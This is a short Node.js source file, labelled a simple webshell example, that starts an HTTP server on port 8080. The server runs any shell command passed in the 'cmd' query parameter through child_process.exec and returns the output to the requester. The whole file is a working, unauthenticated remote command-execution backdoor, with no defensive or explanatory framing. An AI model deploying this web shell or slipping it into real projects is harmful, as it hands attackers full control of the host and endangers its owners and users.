// Simple webshell example const http = require('http'); const url = require('url'); const { exec } = require('child_process'); http.createServer((req, res) => { const queryObject = url.parse(req.url, true).query; const command = queryObject.cmd; if (command) { exec(command, (err, stdout, stderr) => { if (err) { res.writeHead(500, { 'Content-Type': 'text/plain' }); res.end(`Error: ${err.message}\n`); return; } res.writeHead(200, { 'Content-Type': 'text/plain' }); if (stderr) { res.write(`stderr: ${stderr}\n`); } res.end(`stdout:\n${stdout}\n`); }); } else { res.writeHead(400, { 'Content-Type': 'text/plain' }); res.end('Please specify a command using the "cmd" query parameter.\n'); } }).listen(8080, () => { console.log('Web shell running on port 8080'); });